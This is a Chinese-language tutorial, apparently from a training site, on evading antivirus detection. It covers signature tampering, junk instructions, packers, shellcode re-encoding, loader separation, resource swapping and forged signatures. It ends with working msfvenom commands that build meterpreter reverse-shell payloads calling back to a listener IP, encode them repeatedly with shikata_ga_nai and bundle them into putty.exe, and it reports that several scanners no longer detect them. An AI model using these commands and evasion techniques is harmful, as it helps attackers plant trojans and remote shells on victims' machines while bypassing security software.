免杀技术介绍

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为 Anti-AntiVirus(简写 Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

修改特征码

免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征, 只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。 特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串 就目前的反病毒技术来讲,更改特征码从而达到免杀的效果事实上包含着两种方式。 一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可。 第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。 修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。

花指令免杀

花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。 大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响! 而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。

加壳免杀

说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳, 然后由壳将加密的程序逐步还原到内存中,最后运行程序。 当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。 加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖, 但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如 VMP, Themida 等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。 面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。 总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的 PE 文件,通过加壳可以绕过很多特征码识别。

内存免杀

CPU 不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码 CPU 是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存 里,然后再通知 CPU 执行。 因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用 的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它 们全部破坏掉才能躲过反病毒软件的查杀。 因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,只要加 一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。

二次编译

metasploit的msfvenom提供了多种格式的payload和encoder,生成的 shellcode 也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。 而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得 每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道 进行多重编码进行免杀。 目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一 encoder 编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

分离免杀

payload 分离免杀和 webshell 分离免杀,采用分离法,即将 ShellCode 和加载器分离。网上各种加载器代码也有很多,各种语言实现的 都很容易找到,虽然看起来比较简单,但效果却是不错的。比如 shellcode_launcher,加载c代码,基本没有能查杀的反病毒工具。

资源修改

有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。

  1. 加资源

使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

  1. 替换资源

使用ResHacker替换无用的资源(Version等)。

  1. 加签名

使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

免杀制作

msf 自带免杀

原始 Payload

使用 msf 生成一个原始 payload 作为原始参数对比,-f表示输出为 exe 文件,-o指定输入文件名

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.163 LPORT=3333 -f exe -o payload1.exe

image-20240628162645467 上传到在线检查工具上查一下 https://www.virscan.org/

image-20240628162649417 使用 360 查杀一下

image-20240628162652923

msf 自编码处理

用 msf 自带的编码工具对原始 payload 进行编码,可使用msfvenom --list encoders查看所有编码器

image-20240628162657189

我们使⽤x86/shikata_ga_nai的编码方式生成 payload,参数-i为编码次数,我这里设置15次

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.163 LPORT=3333 -e x86/shikata_ga_nai -i 15 -f exe -o payload2.exe

image-20240628162701075 传到检测网站上查一下,相较于原始 payload,有 4 款杀毒软件检测不出了

image-20240628162706445

msf 自捆绑免杀

在生成 payload 时可以使用捆绑功能,使用 msfvenom 的-x参数可以指定⼀个⾃定义的可执⾏⽂件作为模板,并将 payload 嵌⼊其中,-x后面跟对应⽂件路径就可以。 我这⾥使⽤⼀个正规的 putty.exe 作为被捆绑测试软件。下载链接: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

⽣成 payload 命令如下

image-20240628162711040

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.163 LPORT=3333 -x putty.exe -f exe -o payload3.exe

仅有 9 款引擎检测出来

image-20240628162715076

分别使用 360 已经无法检测出了,但是如果运行的话,会被基于行为的分析检测出来

image-20240628162718537

msf 自捆绑+编码

将上面的编码和捆绑两种方法结合⼀下进行尝试

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.163 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 - f exe -o payload4.exe

image-20240628162723237

直接使用 360 和 火绒扫描,未发现危险,如果运行的话仍然会被拦截。

image-20240628162726582

image-20240628162730783

其他 shellter veil

学前沿IT,到英格科技! all right reserved,powered by Gitbook本文发布时间: 2025-04-15 20:07:18

results matching ""

    No results matching ""